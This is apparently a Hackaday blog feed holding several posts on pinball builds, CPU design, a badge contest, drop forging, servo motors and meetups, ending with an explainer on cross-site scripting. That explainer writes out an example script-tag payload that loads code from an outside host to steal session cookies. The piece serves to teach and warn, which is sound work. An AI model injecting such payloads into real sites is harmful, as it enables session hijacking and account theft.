Hacklet 101 – Pinball Projects

There’s something about pinball that draws in hackers, makers, and engineers. Maybe it’s the flashing lights, the sounds, the complex mechanical movements. Could it be the subtle tactics required to master the game? Whatever the reason, everyone loves pinball, and more than a few hackers have dedicated their time and money toward building, restoring, and hacking pinball machines. This week’s Hacklet is all about the best pinball projects on Hackaday.io!

trekpinWe start with [zittware] and Star Trek: The Mirror Universe Pinball. [Zittware] worked with [clay], [fc2sw], and [steve] to create this awesome project. They took a 1978 Bally Star Trek pinball machine, and rebuilt an evil mirror universe version. The electronics include nixie tubes and a bulletproof power supply based upon an ATX computer setup. New play field elements and hardware were created on a CNC. Evil graphics were created with the help of Photoshop. The game is completely playable, and was a crowd favorite in the Hackaday Sci-Fi contest. The electronics and cabinet work are all open source. Unfortunately those pesky copyright laws prevent the team from sharing the artwork.

riiingpinNext up is [Erland Lewin] with RINNIG Pinball Simulator. Some hackers have the space for a few real pinball machines. For the rest of us, there is virtual pinball. [Erland Lewin] built this mini virtual pinball machine from plywood, some real pinball hardware, and a lot of ingenuity. The play field is a 24″ dell computer monitor, while the back glass is a 20″ monitor. A final 15″ monitor takes the place of the Dot Matrix Display (DMD) often found on pinball machines. The whole system is driven by an Intel i3 computer. [Erland] is going to try to use the on-board graphics. If he runs into trouble, he can always switch to a discrete graphics card. The machine has turned out great, and his sons love playing classic pinball machines on their own “kid sized” table.

pinboxIf virtual pinball is still a bit large for you, [Loyal J] has you covered with Pinbox Jr. Desktop computer virtual pinball has been a thing since the days of Windows XP. Somehow tapping keyboard keys isn’t quite the same as hitting real flipper buttons. Pinbox Jr. is a prototype pinball controller built inside a cardboard box. A Teensy 3.1 translates the buttons to USB keyboard inputs. Two large arcade buttons act as the flippers while two smaller buttons are available for game options and other functions.  [Loyal J] even added a triple axis accelerometer so pinbox responds to rough play with a tilt! All this project needs is a solenoid to replicate that real pinball feel.

optimusAt the top of the virtual pinball mountain stands [Randy Walker] with Optimus-Pin. Optimus is a full-sized virtual pinball cabinet. It’s a 3 screen affair, much like RINNIG Pinball up top. [Randy] took things to the next level with an absolutely gorgeous custom cabinet. The Transformers inspired artwork was created on commission by commercial artist [Javier Reyes]. Optimus really recreates the feel of playing pinball with 8 solenoids placed in strategic positions around the cabinet. Even the whirring of play-field motors is replicated by a hidden Volkswagen wiper motor. Optimus also comes with a complete light show including RGB LED strips, strobes, and a shaker to rattle the entire cabinet.

If you want to see more pinball projects check out our brand new pinball projects list! If I missed your project, don’t be shy! Just drop me a message on Hackaday.io. That’s it for this week’s Hacklet. As always, see you next week. Same hack time, same hack channel, bringing you the best of Hackaday.io!

Crawl, Walk, Run: A Starter CPU

Last time I talked about getting started with CPU design by looking at older designs before trying to tackle a more modern architecture. In particular, I recommended Caxton Foster’s Blue, even though (or maybe because) it was in schematic form. Even though the schematics are easy to understand, Blue does use a few dated constructs and you probably ought to build your take on the design using your choice of VHDL or Verilog.

In my case, my choice was Verilog. You can find my implementation of Blue on Opencores.org. I made quite a few changes to Foster’s original design. For example, armed with semiconductor memory, I managed to get all instructions to operate in one major cycle (which is, of course, 8 minor cycles). I also modernized the clock generation and added some resources and instructions.

Continue reading “Crawl, Walk, Run: A Starter CPU”

Hack The Hackaday Demoscene From Your Own Home

We are just two weeks away from the Hackaday | Belgrade conference, and tickets have completely sold out. That means you can’t get your hands on one of these sweet hardware badges, but you can still take home some prizes for pulling off a gnarly hack with the badge firmware.

What we’re talking about is the Hackaday Belgrade Badge Demoscene – which includes a surrogate presenter program for anyone who wants to send in their own code for the device. You have two weeks to work on and submit your code — and we’ve made it really easy for anyone who has a working knowledge of C.

The day of the conference we will download all entries, and have a surrogate at the conference load it onto their badge and present it on your behalf. There is a separate pool of prizes for online entries, so hackers not at the con will win. And of course we’ll be celebrating the awesome demos with some posts on the front page.

No Hardware Needed

Badge emulator scrolling the word "Hackaday"
Badge emulator scrolling the word “Hackaday”

Hack in C for Abstracted Bliss or Be Hardcore:

You can use the emulator shown here to write your code for this badge. It comes with a set of basic functions that abstracts away the low-level hardware functions, and launches a demo window on your computer to test out your code. Check out this barebones C framework to get started.

For those that want more control, we have published the official assembly code that the badges will ship with (including a user manual). We’ll be squashing bugs right up to the day of the con). You can alter and compile this code yourself, or just start from scratch using the design spec if you prefer to travel the hardcore bit-monkey path.

Either way, you have an 8×16 display and 4 buttons to work with. Exercise your creativity and amaze us by doing a lot on a rather modest canvas. That’s what demoscene is all about.

How to Enter

Entry is easy, just start a project on Hackaday.io and submit it to the Belgrade Badge Demoscene contest using the “Submit Project To…” menu on your project page. You need to upload .C and .H files, or a precompiled .HEX to the file hosting part of your project page by Saturday, April 9th.

That’s the extent of the requirements. But it would be super fun if you recorded the software emulator playing your demo for all to see. The easiest way to do this is to record a video of your computer screen using your smartphone. Good luck to all!

Retrotechtacular: Blacksmithing To The Stars!

When most of us think of forge work, the image that comes to our mind is likely to be a rather traditional one, of the village blacksmith’s shop, roaring coke-fired hearths, and an anvil ringing to the beat of hand-wielded hammers. Iron and steel, worked through the sweat of the human brow.

Precision metalwork probably doesn’t figure in there, yet there is another type of forging used to create some of the most highly stressed components on rockets, missiles, and aircraft as well as the more mundane ironwork of your garden fence. Drop forging allows reproducible shapes to be forged while maintaining tight control over the metallurgical properties of the finished product, exactly what is required for such high-performance applications.

The video below is a promotional film about drop forging in the aeronautical industry from the late 1950s, made for and about Wyman Gordon, still specialists in the field. With the charming optimism of the period and a very catchy title it goes into the detail of the plant, development, and quality control of a range of parts for the missiles and rockets of the day, and along the way shows the cutting edge of machine tooling in the days before CNC. A whole Periodic Table of metals are forged with an expertise probably not seen in many other places in the world.

There are also some sights you’d never see in today’s safety culture, for example a running press with men darting in to adjust the position of a forging while it is still moving. It’s not a short video, but definitely worth watching all the way through.

Continue reading “Retrotechtacular: Blacksmithing To The Stars!”

Hackaday Dictionary: Servo Motors

How do you make things move? You add in a motor that converts electrical energy into motion. That’s a simple idea, but how do you know where the motor is? That’s where the servo motor comes in. By adding a sensor and a controller to the mechanism, these motors can figure out how far they have rotated and maintain that setting without any need for external control.

A disassembled servo motor showing the controller, motor, rotary encoder and gears. By oomlout - SERV-05-ST_TEARDOWN_03, CC BY-SA 2.0
A disassembled servo motor showing the controller, motor, rotary encoder and gears. By oomlout, CC BY-SA 2.0

What is a Servo Motor?

These neat devices can be large or small, but they all share the same basic characteristics: a motor connected to a gearing mechanism and an encoder that detects the movement and speed of the motor. This combination means that the controlling device doesn’t need to know anything about the motor itself: the controller on the servo motor handles the process of feeding the appropriate power to the motor until it reaches the requested position. This makes it much easier to build things with servomotors, as the designer has already done all the hard work for you.

The first place that most people encounter a servo motor is in the small hobby servos that are used in remote control vehicles. Manufactured by companies like Hitec and Futaba, these drive a gear or arm that transfers the rotation of the motor to perform tasks like turning a wheel to steer a car, moving a control surface on an RC plane, or any task that requires a small range of motion at high precision. The gearing in the servomotor offers more torque than connecting the shaft directly to the motor. Most hobby servos of this type are restricted to a certain range of motion (usually 180 degrees) because the position encoder is a simple potentiometer connected to the output shaft.

A selection of different sized servo motors. By Osamu Iwasaki
A selection of different sized servo motors. By Osamu Iwasaki

Servomotors usually have three connection wires: a power line, a ground line and a signal line. The signal line is fed a pulse width modulation (PWM) signal that determines the angle that the servomotor moves to. As the name suggests, the length of the pulse (or the width, if you look at it on an oscilloscope) is the thing that controls the angle that the servo moves to: a short pulse (1 millisecond) sets it to the zero angle, while a long pulse of 2 milliseconds sets it to the maximum angle. A pulse length between these two limits signals the servomotor to move to the corresponding angle: 1.5 ms would set it to 90 degrees.

It is important to note that servomotors and stepper motors are not the same thing. Both are used for positioning, but steppers usually run without feedback. Instead, steppers turn (as the name suggest) in discrete steps. To figure out where a stepper motor is requires a limit switch, then driving the stepper until this is triggered. Then if you keep count out the number of steps that it’s traveled, you know where it is. That’s why devices like inkjet or 3D printers will move to their limits when they start up, so the controller can detect the far limit of the mechanism being driven, and calculate the current position from that.

How Do You Use A Servomotor?

Because the designers of servomotors have done most of the hard work for you, servomotors are very easy to use. To drive them, you just need to feed them power (usually 5V) and feed the PWM signal to the servomotor. You can drive them directly from an Arduino or similar microcontroller using a library that converts an angle into a PWM signal on one of the output pins.

Each servomotor requires a dedicated output pin if they are being driven this way, though, so if you are driving a lot of servomotors, a dedicated controller makes more sense. Devices such as the Adafruit Servo Shield and the Pololu Maestro allow you to control multiple servos from a single output pin on the microcontroller: the microcontroller sends a signal to the device addressing each servo in turn, and the device converts this into the PWM signals for each. If you need to drive a lot of servos, the SD84 can control up to 84 servos at once from a single USB port.

(Headline image bots: µBob and Hexapod4.)

Lead A Hackaday Meetup In Your City

If you love Hackaday and want to meet your community you should lead a Hackaday meetup in your city. This is fun and easy. Get ready, we’ll help you do it!

Fill out this form to let us know that you’re interested in leading. We’ll set up a Meetup.com page with you as the organizer, add an organizer badge to your Hackaday.io profile, and send a swag pack your way. Of course we’ll also help publicize the event so that everyone in the area knows it’s happening.

World Create Day on April 23rd

A meetup can take on a life of its own with the right group of like-minded participants, but it has to start with an initial meeting. We’re hoping to provide that spark by coordinating our first world-wide live event: World Create Day on April 23rd.

World Create Day lays down a design challenge. The people at your meetup will pick a technology challenge and brainstorm a solution for it. Leverage the skills of everyone involved to come up with mechanical, electrical, and design solutions. This is what the Hackaday Prize is all about and what you come up with at World Create Day should be entered in the first challenge.

We want to see pictures and hear about what interesting build ideas sprouted from your group. We’ll be picking the most spectacular design solutions to share on the Hackaday front page, and there will be prizes. But we also want to celebrate the fun of getting together in person with all of the people who make Hackaday a part of their daily ritual.

Hackaday Meetup Beyond

World Create Day is a single day event, but your meetup can live on if you want it to. We can help with ideas for future meetups of your group, you can pass it off to someone else, or you can make this a one-time event. It’s up to you. But we are always looking for active communities when organizing Global Meetups. This is a great way to show that the Hackaday community is alive and thriving in your part of the world. Maybe our next big event will be held in your city!

The Dark Arts: Cross Site Scripting

In 2011, a group of hackers known as Lulzsec went on a two month rampage hacking into dozens of websites including those owned by FOX, PBS, the FBI, Sony and many others. The group was eventually caught and questioned in how they were able to pull off so many hacks. It would be revealed that none of the hackers actually knew each other in real life. They didn’t even know each other’s real names. They only spoke in secluded chat rooms tucked away in a dark corner of the internet and knew each other by their  aliases – [tFlow], [Sabu], [Topiary], [Kayla], to name a few. Each had their own special skill, and when combined together they were a very effective team of hackers.

It was found that they used 3 primary methods of cracking into websites – SQL injection, cross-site scripting and remote file inclusion. We gave a basic overview of how a SQL injection attack works in the previous article of this series. In this article we’re going to do the same with cross-site scripting, or XSS for short. SQL injection has been called the biggest vulnerability in the history of mankind from a potential data loss perspective. Cross-site scripting comes in as a close second. Let’s take a look at how it works.

XSS Scenario

Let us suppose that you wanted to sell an Arduino on your favorite buy-and-sell auction website. The first thing to do would be to log into the server. During this process,  a cookie from that server would be stored on your computer. Anytime you load the website in your browser, it will send that cookie along with your HTTP request to the server, letting it know that it was you and saving you from having to log in every time you visit. It is this cookie that will become the target of our attack.

You would then open up some type of window that would allow you to type in a description of your Arduino that potential buyers could read. Let’s imagine you say something like:

Arduino Uno in perfect condition. New in Box. $15 plus shipping.

You would save your description and it would be stored on a database in the server. So far, there is nothing out of the ordinary or suspicious about our scenario at all. But let’s take a look at what happens when a potential buyer logs into the server. They’re in need of an Arduino and see your ad that you just posted. What does their browser see when they load your post?

Arduino Uno in perfect condition. <b>New in Box</b>. $15 plus shipping.
xss_02
Source

Whether you realize it or not, you just ran HTML code (in the form of the bold tags) on their computer, albeit harmless code that does what both the buyer and seller want – to highlight a specific selling point of the product. But what other code can you run? Can you run code that might do something the buyer surely does not want? Code that will run on any and every computer that loads the post? Not only should you be able to see where we’re going with this, you should also be able to see the scope of the problem and just how dangerous it can be.

Now let us imagine a Lulzsec hacker is out scoping for some much needed lulz. He runs across your post and nearly instantly recognizes that you were able to run HTML code on his computer. He then makes a selling ad on the website:

Lot of 25 Raspberry Pi Zeros - New in Box - < script src="http://lulz.com/email_me_your_cookie.js" ></script> - $100, free shipping.

Now as soon as someone opens up the hacker’s ad, the script section will load up the malicious off-site code and steal the victim’s session cookie. Normally, only the website specified in a cookie has access to that cookie. Here, since the malicious code was served from the auction website’s server, the victim’s browser has no problem with sending the auction website’s cookie. Now the hacker can load the cookie into his browser to impersonate the victim, allowing the hacker access to everything his victim has access to.

Endless Opportunities

With a little imagination, you can see just how far you can reach with a cross-site scripting attack. You can envision a more targeted attack with a hacker trying to get inside a large company like Intel by exploiting a flawed competition entry process. The hacker visits the Intel Edison competition entry page and sees that he can run code in the application submission form. He knows someone on the Intel intranet will likely read his application and guesses it will be done via a browser. His XSS attack will run as soon as his entry is opened by the unsuspecting Intel employee.

This kind of attack can be run in any user input that allows containing code to be executed on another computer. Take a comment box for instance. Type in some type of < script >evil</script> into a comment box and it will load on every computer that loads that page. [Samy Kamkar] used a similar technique to pull off his famous Myspace worm as we talked about in the beginning of the previous article in this series. XSS, at one time, could even have been done with images.

Preventing XSS attacks

As with SQLi based attacks, almost all website developers in this day and age are aware of XSS and take active measures to prevent it. One prevention is validating input. Trying to run JavaScript in most applications where you should not be will not only give you an error, but will likely flag your account as being up to no good.

xss_03
Source

One thing you can do to protect yourself from such an attack is to use what is known as a sandboxed browser. This keeps code that runs in a browser in a “box” and keeps the rest of your computer safe. Most modern browsers have this technology built in. A more drastic step would be to disable JavaScript entirely from running on your computer.

There are people here that are far more knowledgeable than I on these type of hacking techniques. It was my hope to give the average hardware hacker a basic understanding of XSS and how it works. We welcome comments from those with a more advanced knowledge of cross-site scripting and other website hacking techniques that would help to deepen everyone’s understanding of these important subjects.

Source

XSS Flash animation 1

XSS Flash animation 2